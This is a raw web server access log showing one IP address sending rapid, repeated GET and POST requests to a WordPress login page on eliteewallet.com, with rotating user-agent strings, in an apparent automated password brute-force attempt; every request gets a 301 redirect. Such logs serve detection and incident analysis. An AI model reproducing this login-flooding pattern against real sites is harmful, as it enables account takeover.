"http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:56 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:57 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:58 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:59 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:11:17 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:12 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:12 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:13 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:14 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:15 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.224.92.195 - - [08/Mar/2026:01:12:16 +0300] "POST /wp-login.php HTTP/1.1" 301 795 